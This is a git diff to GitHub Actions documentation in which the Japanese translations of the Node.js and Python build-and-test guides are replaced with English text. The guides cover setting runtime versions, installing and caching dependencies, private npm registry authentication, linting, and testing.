Node.js](https://nodejs.org/en/docs/guides/getting-started-guide/)" {% data reusables.actions.enterprise-setup-prereq %} -## Node.jsワークフローテンプレートでの開始 +## Starting with the Node.js workflow template -{% data variables.product.prodname_dotcom %}は、ほとんどのNode.jsプロジェクトで使えるNode.jsのワークフローテンプレートを提供しています。 このガイドには、カスタマイズして利用できるnpm及びYarnの例が含まれます。 詳しい情報については[Node.jsのワークフローテンプレート](https://github.com/actions/starter-workflows/blob/main/ci/node.js.yml)を参照してください。 +{% data variables.product.prodname_dotcom %} provides a Node.js workflow template that will work for most Node.js projects. This guide includes npm and Yarn examples that you can use to customize the template. For more information, see the [Node.js workflow template](https://github.com/actions/starter-workflows/blob/main/ci/node.js.yml). -手早く始めるために、テンプレートをリポジトリの`.github/workflows`ディレクトリに追加してください。 以下に示すワークフローは、リポジトリのデフォルトブランチが `main` であることを前提としています。 +To get started quickly, add the template to the `.github/workflows` directory of your repository. The workflow shown below assumes that the default branch for your repository is `main`. {% raw %} ```yaml{:copy} @@ -76,15 +76,15 @@ jobs: {% data reusables.github-actions.example-github-runner %} -## Node.jsのバージョンの指定 +## Specifying the Node.js version -最も簡単にNode.jsのバージョンを指定する方法は、{% data variables.product.prodname_dotcom %}が提供する`setup-node`アクションを使うことです。 詳しい情報については[`setup-node`](https://github.com/actions/setup-node/)を参照してください。 +The easiest way to specify a Node.js version is by using the `setup-node` action provided by {% data variables.product.prodname_dotcom %}. For more information see, [`setup-node`](https://github.com/actions/setup-node/). -`setup-node`アクションはNode.jsのバージョンを入力として取り、ランナー上でそのバージョンを設定します。 `setup-node`は各ランナー上のツールキャッシュから指定されたNode.jsのバージョンを見つけ、必要なバイナリを`PATH`に追加します。設定されたバイナリは、ジョブでそれ以降永続化されます。 `setup-node`アクションの利用は、{% data variables.product.prodname_actions %}でNode.jsを使うための推奨される方法です。これは、そうすることで様々なランナーや様々なバージョンのNode.jsで一貫した振る舞いが保証されるためです。 セルフホストランナーを使っている場合は、Node.jsをインストールして`PATH`に追加しなければなりません。 +The `setup-node` action takes a Node.js version as an input and configures that version on the runner. The `setup-node` action finds a specific version of Node.js from the tools cache on each runner and adds the necessary binaries to `PATH`, which persists for the rest of the job. Using the `setup-node` action is the recommended way of using Node.js with {% data variables.product.prodname_actions %} because it ensures consistent behavior across different runners and different versions of Node.js. If you are using a self-hosted runner, you must install Node.js and add it to `PATH`. -このテンプレートには、Node.jsの4つのバージョン、10.x、12.x、14.x、15.xでコードをビルドしてテストするマトリクス戦略が含まれています。 この'x'はワイルドカードキャラクターで、そのバージョンで利用できる最新のマイナー及びパッチリリースにマッチします。 `node-version`配列で指定されたNode.jsの各バージョンに対して、同じステップを実行するジョブが作成されます。 +The template includes a matrix strategy that builds and tests your code with four Node.js versions: 10.x, 12.x, 14.x, and 15.x. The 'x' is a wildcard character that matches the latest minor and patch release available for a version. Each version of Node.js specified in the `node-version` array creates a job that runs the same steps. -それぞれのジョブは、配列`node-version` のマトリクスで定義された値に、`matrix`コンテキストを使ってアクセスできます。 `setup-node`アクションは、このコンテキストを`node-version`のインプットとして使います。 `setup-node`アクションは、コードのビルドとテストに先立って、様々なNode.jsのバージョンで各ジョブを設定します。 For more information about matrix strategies and contexts, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix)" and "[Contexts](/actions/learn-github-actions/contexts)." +Each job can access the value defined in the matrix `node-version` array using the `matrix` context. The `setup-node` action uses the context as the `node-version` input. The `setup-node` action configures each job with a different Node.js version before building and testing code. For more information about matrix strategies and contexts, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix)" and "[Contexts](/actions/learn-github-actions/contexts)." {% raw %} ```yaml{:copy} @@ -101,7 +101,7 @@ steps: ``` {% endraw %} -あるいは、厳密にNode.jsバージョンを指定してビルドとテストを行うこともできます。 +Alternatively, you can build and test with exact Node.js versions. ```yaml{:copy} strategy: @@ -109,7 +109,7 @@ strategy: node-version: [8.16.2, 10.17.0] ``` -または、Node.jsの1つのバージョンを使ってビルドとテストを行うこともできます。 +Or, you can build and test using a single version of Node.js too. {% raw %} ```yaml{:copy} @@ -134,20 +134,20 @@ jobs: ``` {% endraw %} -Node.jsのバージョンを指定しなかった場合、{% data variables.product.prodname_dotcom %}は環境のデフォルトのNode.jsのバージョンを使います。 -{% ifversion ghae %}{% data variables.actions.hosted_runner %} に必要なソフトウェアがインストールされていることを確認する方法については、「[カスタムイメージの作成](/actions/using-github-hosted-runners/creating-custom-images)」を参照してください。 -{% else %} 詳しい情報については、「[{% data variables.product.prodname_dotcom %} ホストランナーの仕様](/actions/reference/specifications-for-github-hosted-runners/#supported-software)」を参照してください。 +If you don't specify a Node.js version, {% data variables.product.prodname_dotcom %} uses the environment's default Node.js version. +{% ifversion ghae %} For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." +{% else %} For more information, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)". {% endif %} -## 依存関係のインストール +## Installing dependencies -{% data variables.product.prodname_dotcom %}ホストランナーには、依存関係マネージャーのnpmとYarnがインストールされています。 コードのビルドとテストに先立って、npmやYarnを使ってワークフロー中で依存関係をインストールできます。 Windows及びLinuxの{% data variables.product.prodname_dotcom %}ホストランナーには、Grunt、Gulp、Bowerもインストールされています。 +{% data variables.product.prodname_dotcom %}-hosted runners have npm and Yarn dependency managers installed. You can use npm and Yarn to install dependencies in your workflow before building and testing your code. The Windows and Linux {% data variables.product.prodname_dotcom %}-hosted runners also have Grunt, Gulp, and Bower installed. -{% data variables.product.prodname_dotcom %}ホストランナーを使用する場合、依存関係をキャッシュしてワークフローの実行を高速化することもできます。 詳しい情報については、「ワークフローを高速化するための依存関係のキャッシュ」を参照してください。 +When using {% data variables.product.prodname_dotcom %}-hosted runners, you can also cache dependencies to speed up your workflow. For more information, see "Caching dependencies to speed up workflows." -### npmの利用例 +### Example using npm -以下の例では、*package.json*ファイルで定義された依存関係がインストールされます。 詳しい情報については[`npm install`](https://docs.npmjs.com/cli/install)を参照してください。 +This example installs the dependencies defined in the *package.json* file. For more information, see [`npm install`](https://docs.npmjs.com/cli/install). ```yaml{:copy} steps: @@ -160,7 +160,7 @@ steps: run: npm install ``` -`npm ci`を使うと、 *package-lock.json*あるいは*npm-shrinkwrap.json*ファイル中のバージョンがインストールされ、ロックファイルの更新を回避できます。 概して`npm ci`は、`npm install`を実行するよりも高速です。 詳しい情報については[`npm ci`](https://docs.npmjs.com/cli/ci.html)及び「[Introducing `npm ci` for faster, more reliable builds](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)」を参照してください。 +Using `npm ci` installs the versions in the *package-lock.json* or *npm-shrinkwrap.json* file and prevents updates to the lock file. Using `npm ci` is generally faster than running `npm install`. For more information, see [`npm ci`](https://docs.npmjs.com/cli/ci.html) and "[Introducing `npm ci` for faster, more reliable builds](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)." {% raw %} ```yaml{:copy} @@ -175,9 +175,9 @@ steps: ``` {% endraw %} -### Yarnの利用例 +### Example using Yarn -以下の例では、*package.json*ファイルで定義された依存関係がインストールされます。 詳しい情報については[`yarn install`](https://yarnpkg.com/en/docs/cli/install)を参照してください。 +This example installs the dependencies defined in the *package.json* file. For more information, see [`yarn install`](https://yarnpkg.com/en/docs/cli/install). ```yaml{:copy} steps: @@ -190,7 +190,7 @@ steps: run: yarn ``` -あるいは`--frozen-lockfile`を渡して*yarn.lock*ファイル中のバージョンをインストールし、*yarn.lock*ファイルの更新を回避できます。 +Alternatively, you can pass `--frozen-lockfile` to install the versions in the *yarn.lock* file and prevent updates to the *yarn.lock* file. ```yaml{:copy} steps: @@ -203,15 +203,15 @@ steps: run: yarn --frozen-lockfile ``` -### プライベートレジストリの利用と.npmrcファイルの作成の例 +### Example using a private registry and creating the .npmrc file {% data reusables.github-actions.setup-node-intro %} -プライベートレジストリに対して認証するには、npm 認証トークンをシークレットとして保存する必要があります。 たとえば、`NPM_TOKEN` というリポジトリシークレットを作成します。 詳しい情報については、「[暗号化されたシークレットの作成と利用](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。 +To authenticate to your private registry, you'll need to store your npm authentication token as a secret. For example, create a repository secret called `NPM_TOKEN`. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." -以下の例では、`NPM_TOKEN`というシークレットにはnpmの認証トークンが保存されます。 `setup-node`アクションは、環境変数の`NODE_AUTH_TOKEN`からnpmの認証トークンを読み取るよう*.npmrc*ファイルを設定します。 `setup-node` アクションを使用して *.npmrc* ファイルを作成する場合は、npm 認証トークンを含むシークレットを使用して `NODE_AUTH_TOKEN` 環境変数を設定する必要があります。 +In the example below, the secret `NPM_TOKEN` stores the npm authentication token. The `setup-node` action configures the *.npmrc* file to read the npm authentication token from the `NODE_AUTH_TOKEN` environment variable. When using the `setup-node` action to create an *.npmrc* file, you must set the `NODE_AUTH_TOKEN` environment variable with the secret that contains your npm authentication token. -依存関係をインストールする前に、`setup-node`アクションを使って*.npmrc*ファイルを作成してください。 このアクションには2つの入力パラメーターがあります。 `node-version`パラメーターはNode.jsのバージョンを設定し、`registry-url`パラメーターはデフォルトのレジストリを設定します。 パッケージレジストリがスコープを使うなら、`scope`パラメーターを使わなければなりません。 詳しい情報については[`npm-scope`](https://docs.npmjs.com/misc/scope)を参照してください。 +Before installing dependencies, use the `setup-node` action to create the *.npmrc* file. The action has two input parameters. The `node-version` parameter sets the Node.js version, and the `registry-url` parameter sets the default registry. If your package registry uses scopes, you must use the `scope` parameter. For more information, see [`npm-scope`](https://docs.npmjs.com/misc/scope). {% raw %} ```yaml{:copy} @@ -231,7 +231,7 @@ steps: ``` {% endraw %} -上の例では、以下の内容で*.npmrc*ファイルを作成しています。 +The example above creates an *.npmrc* file with the following contents: ```ini //registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN} @@ -239,7 +239,7 @@ steps: always-auth=true ``` -### 依存関係のキャッシングの例 +### Example caching dependencies When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache and restore the dependencies using the [`setup-node` action](https://github.com/actions/setup-node). @@ -288,11 +288,11 @@ steps: - run: pnpm test ``` -To cache dependencies, you must have a `package-lock.json`, `yarn.lock`, or `pnpm-lock.yaml` file in the root of the repository. If you need more flexible customization, you can use the [`cache` action](https://github.com/marketplace/actions/cache). For more information, see "Caching dependencies to speed up workflows". +If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). For more information, see "Caching dependencies to speed up workflows". -## コードのビルドとテスト +## Building and testing your code -ローカルで使うのと同じコマンドを、コードのビルドとテストに使えます。 たとえば*package.json*ファイルで定義されたビルドのステップを実行するのに`npm run build`を実行し、テストスイートを実行するのに`npm test`を実行しているなら、それらのコマンドをワークフローファイルに追加します。 +You can use the same commands that you use locally to build and test your code. For example, if you run `npm run build` to run build steps defined in your *package.json* file and `npm test` to run your test suite, you would add those commands in your workflow file. ```yaml{:copy} steps: @@ -306,10 +306,10 @@ steps: - run: npm test ``` -## 成果物としてのワークフローのデータのパッケージ化 +## Packaging workflow data as artifacts -ビルドとテストのステップの成果物を保存し、ジョブの完了後に見ることができます。 たとえば、ログファイル、コアダンプ、テスト結果、スクリーンショットを保存する必要があるかもしれません。 詳しい情報については「[成果物を利用してワークフローのデータを永続化する](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)」を参照してください。 +You can save artifacts from your build and test steps to view after a job completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)." -## パッケージレジストリへの公開 +## Publishing to package registries -CIテストにパスした後、Node.jsパッケージをパッケージレジストリに公開するようにワークフローを設定できます。 npm及び{% data variables.product.prodname_registry %}への公開に関する詳しい情報については「[Node.jsパッケージの公開](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)」を参照してください。 +You can configure your workflow to publish your Node.js package to a package registry after your CI tests pass. For more information about publishing to npm and {% data variables.product.prodname_registry %}, see "[Publishing Node.js packages](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)." diff --git a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-python.md b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-python.md index 869ba2ac73..9b0b916538 100644 --- a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-python.md +++ b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-python.md @@ -1,6 +1,6 @@ --- -title: Python のビルドとテスト -intro: Pythonプロジェクトのビルドとテストのための継続的インテグレーション（CI）ワークフローを作成できます。 +title: Building and testing Python +intro: You can create a continuous integration (CI) workflow to build and test your Python project. redirect_from: - /actions/automating-your-workflow-with-github-actions/using-python-with-github-actions - /actions/language-and-framework-guides/using-python-with-github-actions @@ -23,30 +23,30 @@ hasExperimentalAlternative: true {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## はじめに +## Introduction -このガイドは、Pythonパッケージのビルド、テスト、公開の方法を紹介します。 +This guide shows you how to build, test, and publish a Python package. -{% ifversion ghae %}{% data variables.actions.hosted_runner %} に必要なソフトウェアがインストールされていることを確認する方法については、「[カスタムイメージの作成](/actions/using-github-hosted-runners/creating-custom-images)」を参照してください。 -{% else %} {% data variables.product.prodname_dotcom %} ホストランナーには、Python および PyPy などのソフトウェアがプリインストールされたツールキャッシュがあります。 自分では何もインストールする必要がありません！ 最新のソフトウェアと、Python および PyPy のプリインストールされたバージョンの完全なリストについては、「[{% data variables.product.prodname_dotcom %} ホストランナーの仕様](/actions/reference/specifications-for-github-hosted-runners/#supported-software)」を参照してください。 +{% ifversion ghae %} For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." +{% else %} {% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Python and PyPy. You don't have to install anything! For a full list of up-to-date software and the pre-installed versions of Python and PyPy, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)". {% endif %} -## 必要な環境 +## Prerequisites -YAMLと{% data variables.product.prodname_actions %}の構文に馴染んでいる必要があります。 詳しい情報については、「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」を参照してください。 +You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." -Python、PyPy、pipの基本的な理解をしておくことをおすすめします。 詳しい情報については、以下を参照してください。 +We recommend that you have a basic understanding of Python, PyPy, and pip. For more information, see: - [Getting started with Python](https://www.python.org/about/gettingstarted/) - [PyPy](https://pypy.org/) - [Pip package manager](https://pypi.org/project/pip/) {% data reusables.actions.enterprise-setup-prereq %} -## Pythonワークフローテンプレートでの開始 +## Starting with the Python workflow template -{% data variables.product.prodname_dotcom %}は、ほとんどのPythonプロジェクトで使えるPythonのワークフローテンプレートを提供しています。 このガイドには、テンプレートのカスタマイズに利用できる例が含まれます。 詳しい情報については、「[Python のワークフローテンプレート](https://github.com/actions/starter-workflows/blob/main/ci/python-package.yml)」を参照してください。 +{% data variables.product.prodname_dotcom %} provides a Python workflow template that should work for most Python projects. This guide includes examples that you can use to customize the template. For more information, see the [Python workflow template](https://github.com/actions/starter-workflows/blob/main/ci/python-package.yml). -手早く始めるために、テンプレートをリポジトリの`.github/workflows`ディレクトリに追加してください。 +To get started quickly, add the template to the `.github/workflows` directory of your repository. {% raw %} ```yaml{:copy} @@ -77,7 +77,7 @@ jobs: run: | # stop the build if there are Python syntax errors or undefined names flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics - # exit-zero はすべてのエラーを警告として扱う。 GitHub エディタの幅は 127 文字 + # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics - name: Test with pytest run: | @@ -85,25 +85,25 @@ jobs: ``` {% endraw %} -## Pythonのバージョンの指定 +## Specifying a Python version -{% data variables.product.prodname_dotcom %}ホストランナー上でPythonもしくはPyPyのプリインストールされたバージョンを使うには、`setup-python`アクションを使ってください。 このアクションは各ランナーのツールキャッシュから指定されたバージョンのPythonもしくはPyPyを見つけ、必要なバイナリを`PATH`に追加します。設定されたバイナリは、ジョブでそれ以降永続化されます。 特定のバージョンの Python がツールキャッシュにプリインストールされていない場合、`setup-python` アクションは [`python-versions`](https://github.com/actions/python-versions) リポジトリから適切なバージョンをダウンロードして設定します。 +To use a pre-installed version of Python or PyPy on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `setup-python` action. This action finds a specific version of Python or PyPy from the tools cache on each runner and adds the necessary binaries to `PATH`, which persists for the rest of the job. If a specific version of Python is not pre-installed in the tools cache, the `setup-python` action will download and set up the appropriate version from the [`python-versions`](https://github.com/actions/python-versions) repository. -`setup-action`の利用は、{% data variables.product.prodname_actions %}でPythonを使うための推奨される方法です。 これは、そうすることで様々なランナーや様々なバージョンのPythonで一貫した振る舞いが保証されるためです。 セルフホストランナーを使っている場合は、Pythonをインストールして`PATH`に追加しなければなりません。 詳しい情報については、[`setup-python`アクション](https://github.com/marketplace/actions/setup-python)を参照してください。 +Using the `setup-python` action is the recommended way of using Python with {% data variables.product.prodname_actions %} because it ensures consistent behavior across different runners and different versions of Python. If you are using a self-hosted runner, you must install Python and add it to `PATH`. For more information, see the [`setup-python` action](https://github.com/marketplace/actions/setup-python). -以下の表は、各{% data variables.product.prodname_dotcom %}ホストランナー内でのツールキャッシュの場所です。 +The table below describes the locations for the tools cache in each {% data variables.product.prodname_dotcom %}-hosted runner. -| | Ubuntu | Mac | Windows | -| ------------------ | ------------------------------- | ---------------------------------------- | ------------------------------------------ | -| **ツールキャッシュディレクトリ** | `/opt/hostedtoolcache/*` | `/Users/runner/hostedtoolcache/*` | `C:\hostedtoolcache\windows\*` | -| **Pythonツールキャッシュ** | `/opt/hostedtoolcache/Python/*` | `/Users/runner/hostedtoolcache/Python/*` | `C:\hostedtoolcache\windows\Python\*` | -| **PyPyツールキャッシュ** | `/opt/hostedtoolcache/PyPy/*` | `/Users/runner/hostedtoolcache/PyPy/*` | `C:\hostedtoolcache\windows\PyPy\*` | +|| Ubuntu | Mac | Windows | +|------|-------|------|----------| +|**Tool Cache Directory** |`/opt/hostedtoolcache/*`|`/Users/runner/hostedtoolcache/*`|`C:\hostedtoolcache\windows\*`| +|**Python Tool Cache**|`/opt/hostedtoolcache/Python/*`|`/Users/runner/hostedtoolcache/Python/*`|`C:\hostedtoolcache\windows\Python\*`| +|**PyPy Tool Cache**|`/opt/hostedtoolcache/PyPy/*`|`/Users/runner/hostedtoolcache/PyPy/*`|`C:\hostedtoolcache\windows\PyPy\*`| -セルフホストランナーを使用している場合は、`setup-python` アクションを使用して依存関係を管理するようにランナーを設定できます。 詳しい情報については、`setup-python` の README にある「[セルフホストランナーで setup-python を使用する](https://github.com/actions/setup-python#using-setup-python-with-a-self-hosted-runner)」を参照してください。 +If you are using a self-hosted runner, you can configure the runner to use the `setup-python` action to manage your dependencies. For more information, see [using setup-python with a self-hosted runner](https://github.com/actions/setup-python#using-setup-python-with-a-self-hosted-runner) in the `setup-python` README. -{% data variables.product.prodname_dotcom %}は、セマンティックバージョン構文をサポートしています。 詳しい情報については「[セマンティックバージョンの利用](https://docs.npmjs.com/about-semantic-versioning#using-semantic-versioning-to-specify-update-types-your-package-can-accept)」及び「[セマンティックバージョンの仕様](https://semver.org/)」を参照してください。 +{% data variables.product.prodname_dotcom %} supports semantic versioning syntax. For more information, see "[Using semantic versioning](https://docs.npmjs.com/about-semantic-versioning#using-semantic-versioning-to-specify-update-types-your-package-can-accept)" and the "[Semantic versioning specification](https://semver.org/)." -### Pythonの複数バージョンの利用 +### Using multiple Python versions {% raw %} ```yaml{:copy} @@ -116,7 +116,7 @@ jobs: runs-on: ubuntu-latest strategy: - # python-version内のPyPyのバージョンが利用できる。 + # You can use PyPy versions in python-version. # For example, pypy2 and pypy3 matrix: python-version: ["2.7", "3.6", "3.7", "3.8", "3.9"] @@ -133,9 +133,9 @@ jobs: ``` {% endraw %} -### 　特定のバージョンのPythonの利用 +### Using a specific Python version -Pythonの特定バージョンを設定することができます。 たとえば3.8が利用できます。 あるいは、最新のマイナーリリースを取得するためにセマンティックバージョン構文を使うこともできます。 以下の例では、Python 3の最新のマイナーリリースを使います。 +You can configure a specific version of python. For example, 3.8. Alternatively, you can use semantic version syntax to get the latest minor release. This example uses the latest minor release of Python 3. {% raw %} ```yaml{:copy} @@ -153,21 +153,21 @@ jobs: - name: Set up Python 3.x uses: actions/setup-python@v2 with: - # セマンティックバージョン範囲の構文または Python バージョンの正確なバージョン + # Semantic version range syntax or exact version of a Python version python-version: '3.x' # Optional - x64 or x86 architecture, defaults to x64 architecture: 'x64' - # 現在の Python バージョンを出力してマトリックスをテスト可能 + # You can test your matrix by printing the current Python version - name: Display Python version run: python -c "import sys; print(sys.version)" ``` {% endraw %} -### バージョンの除外 +### Excluding a version -使用できないPythonのバージョンを指定すると、`setup-python`は`##[error]Version 3.4 with arch x64 not found`といったエラーで失敗します。 このエラーメッセージには、利用できるバージョンが含まれます。 +If you specify a version of Python that is not available, `setup-python` fails with an error such as: `##[error]Version 3.4 with arch x64 not found`. The error message includes the available versions. -実行したくないPythonの環境があるなら、ワークフロー中で`exclude`キーワードを使うこともできます。 詳しい情報については、「[{% data variables.product.prodname_actions %} のワークフロー構文](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy)」を参照してください。 +You can also use the `exclude` keyword in your workflow if there is a configuration of Python that you do not wish to run. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy)." {% raw %} ```yaml{:copy} @@ -191,21 +191,21 @@ jobs: ``` {% endraw %} -### デフォルトバージョンのPythonの利用 +### Using the default Python version -依存関係を明示的にしやすくなるので、ワークフロー中で使うPythonのバージョンの設定には`setup-python`を使うことをおすすめします。 `setup-python`を使わない場合、いずれかのシェルで`python`を呼ぶと`PATH`に設定されたデフォルトバージョンのPythonが使われます。 デフォルトバージョンのPythonは、{% data variables.product.prodname_dotcom %}ホストランナーによって様々なので、予想外の変更が生じたり、期待しているよりも古いバージョンが使われたりするかもしれません。 +We recommend using `setup-python` to configure the version of Python used in your workflows because it helps make your dependencies explicit. If you don't use `setup-python`, the default version of Python set in `PATH` is used in any shell when you call `python`. The default version of Python varies between {% data variables.product.prodname_dotcom %}-hosted runners, which may cause unexpected changes or use an older version than expected. -| {% data variables.product.prodname_dotcom %}ホストランナー | 説明 | -| --------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Ubuntu | Ubuntuランナーでは`/usr/bin/python`及び`/usr/bin/python3`の下に複数バージョンのシステムPythonがあります。 {% data variables.product.prodname_dotcom %}がツールキャッシュにインストールしエチルバージョンに加えて、UbuntuにパッケージングされているバージョンのPythonがあります。 | -| Windows | ツールキャッシュにあるPythonのバージョンを除けば、WindowsにはシステムPythonに相当するバージョンは含まれていません。 他のランナーとの一貫した動作を保ち、`setup-python`アクションなしですぐにPythonが使えるようにするため、{% data variables.product.prodname_dotcom %}はツールキャッシュからいくつかのバージョンを`PATH`に追加します。 | -| macOS | macOSランナーには、ツールキャッシュ内のバージョンに加えて、複数バージョンのシステムPythonがインストールされています。 システムのPythonバージョンは`/usr/local/Cellar/python/*`mディレクトリにあります。 | +| {% data variables.product.prodname_dotcom %}-hosted runner | Description | +|----|----| +| Ubuntu | Ubuntu runners have multiple versions of system Python installed under `/usr/bin/python` and `/usr/bin/python3`. The Python versions that come packaged with Ubuntu are in addition to the versions that {% data variables.product.prodname_dotcom %} installs in the tools cache. | +| Windows | Excluding the versions of Python that are in the tools cache, Windows does not ship with an equivalent version of system Python. To maintain consistent behavior with other runners and to allow Python to be used out-of-the-box without the `setup-python` action, {% data variables.product.prodname_dotcom %} adds a few versions from the tools cache to `PATH`.| +| macOS | The macOS runners have more than one version of system Python installed, in addition to the versions that are part of the tools cache. The system Python versions are located in the `/usr/local/Cellar/python/*` directory. | -## 依存関係のインストール +## Installing dependencies -{% data variables.product.prodname_dotcom %}ホストランナーには、パッケージマネージャーのpipがインストールされています。 コードのビルドとテストに先立って、pipを使ってパッケージレジストリのPyPIから依存関係をインストールできます。 たとえば以下のYAMLは`pip`パッケージインストーラーと`setuptools`及び`wheel`パッケージのインストールやアップグレードを行います。 +{% data variables.product.prodname_dotcom %}-hosted runners have the pip package manager installed. You can use pip to install dependencies from the PyPI package registry before building and testing your code. For example, the YAML below installs or upgrades the `pip` package installer and the `setuptools` and `wheel` packages. -{% data variables.product.prodname_dotcom %}ホストランナーを使用する場合、依存関係をキャッシュしてワークフローの実行を高速化することもできます。 詳しい情報については、「ワークフローを高速化するための依存関係のキャッシュ」を参照してください。 +When using {% data variables.product.prodname_dotcom %}-hosted runners, you can also cache dependencies to speed up your workflow. For more information, see "Caching dependencies to speed up workflows." {% raw %} ```yaml{:copy} @@ -220,9 +220,9 @@ steps: ``` {% endraw %} -### Requirementsファイル +### Requirements file -`pip`をアップデートした後、次の典型的なステップは*requirements.txt*からの依存関係のインストールです。 For more information, see [pip](https://pip.pypa.io/en/stable/cli/pip_install/#example-requirements-file). +After you update `pip`, a typical next step is to install dependencies from *requirements.txt*. For more information, see [pip](https://pip.pypa.io/en/stable/cli/pip_install/#example-requirements-file). {% raw %} ```yaml{:copy} @@ -239,48 +239,34 @@ steps: ``` {% endraw %} -### 依存関係のキャッシング +### Caching Dependencies -{% data variables.product.prodname_dotcom %} ホストランナーを使用する場合、一意のキーを使用してpipの依存関係をキャッシュし、[`cache`](https://github.com/marketplace/actions/cache)アクションを使用して将来のワークフローを実行するときに依存関係を復元できます。 詳しい情報については、「ワークフローを高速化するための依存関係のキャッシュ」を参照してください。 +When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache and restore the dependencies using the [`setup-python` action](https://github.com/actions/setup-python). -ランナーのオペレーティングシステムによって、pipは依存関係を様々な場所にキャッシュします。 キャッシュする必要があるパスは、使用するオペレーティングシステムによって以下のUbuntuの例とは異なるかもしれません。 詳しい情報については、「[Python のキャッシングの例](https://github.com/actions/cache/blob/main/examples.md#python---pip)」を参照してください。 +The following example caches dependencies for pip. -{% raw %} ```yaml{:copy} steps: - uses: actions/checkout@v2 -- name: Setup Python - uses: actions/setup-python@v2 +- uses: actions/setup-python@v2 with: - python-version: '3.x' -- name: Cache pip - uses: actions/cache@v2 - with: - # このパスは Ubuntu に固有です - path: ~/.cache/pip - # 対応する要件ファイルにキャッシュヒットがあるかどうかを確認する - key: ${{ runner.os }}-pip-${{ hashFiles('requirements.txt') }} - restore-keys: | - ${{ runner.os }}-pip- - ${{ runner.os }}- -- name: Install dependencies - run: pip install -r requirements.txt + python-version: '3.9' + cache: 'pip' +- run: pip install -r requirements.txt +- run: pip test ``` -{% endraw %} -{% note %} +By default, the `setup-python` action searches for the dependency file (`requirements.txt` for pip or `Pipfile.lock` for pipenv) in the whole repository. For more information, see "Caching packages dependencies" in the `setup-python` actions README. -**ノート：** 依存関係の数によっては、依存関係キャッシュを使う方が高速になることがあります。 多くの大きな依存関係を持つプロジェクトでは、ダウンロードに必要な時間を節約できるので、パフォーマンスの向上が見られるでしょう。 依存関係が少ないプロジェクトでは、大きなパフォーマンスの向上は見られないかもしれず、pipがキャッシュされた依存関係をインストールする方法のために、パフォーマンスがやや低下さえするかもしれません。 パフォーマンスはプロジェクトによって異なります。 +If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). Pip caches dependencies in different locations, depending on the operating system of the runner. The path you'll need to cache may differ from the Ubuntu example above, depending on the operating system you use. For more information, see [Python caching examples](https://github.com/actions/cache/blob/main/examples.md#python---pip) in the `cache` action repository. -{% endnote %} +## Testing your code -## コードのテスト +You can use the same commands that you use locally to build and test your code. -ローカルで使うのと同じコマンドを、コードのビルドとテストに使えます。 +### Testing with pytest and pytest-cov -### pytest及びpytest-covでのテスト - -以下の例では、`pytest`及び`pytest-cov`をインストールあるいはアップグレードします。 そしてテストが実行され、JUnit形式で出力が行われ、一方でコードカバレッジの結果がCoberturaに出力されます。 詳しい情報については[JUnit](https://junit.org/junit5/)及び[Cobertura](https://cobertura.github.io/cobertura/)を参照してください。 +This example installs or upgrades `pytest` and `pytest-cov`. Tests are then run and output in JUnit format while code coverage results are output in Cobertura. For more information, see [JUnit](https://junit.org/junit5/) and [Cobertura](https://cobertura.github.io/cobertura/). {% raw %} ```yaml{:copy} @@ -302,9 +288,9 @@ steps: ``` {% endraw %} -### Flake8を使ったコードのlint +### Using Flake8 to lint code -以下の例は、`flake8`をインストールもしくはアップグレードし、それを使ってすべてのファイルをlintします。 詳しい情報については[Flake8](http://flake8.pycqa.org/en/latest/)を参照してください。 +The following example installs or upgrades `flake8` and uses it to lint all files. For more information, see [Flake8](http://flake8.pycqa.org/en/latest/). {% raw %} ```yaml{:copy} @@ -328,9 +314,9 @@ steps: The linting step has `continue-on-error: true` set. This will keep the workflow from failing if the linting step doesn't succeed. Once you've addressed all of the linting errors, you can remove this option so the 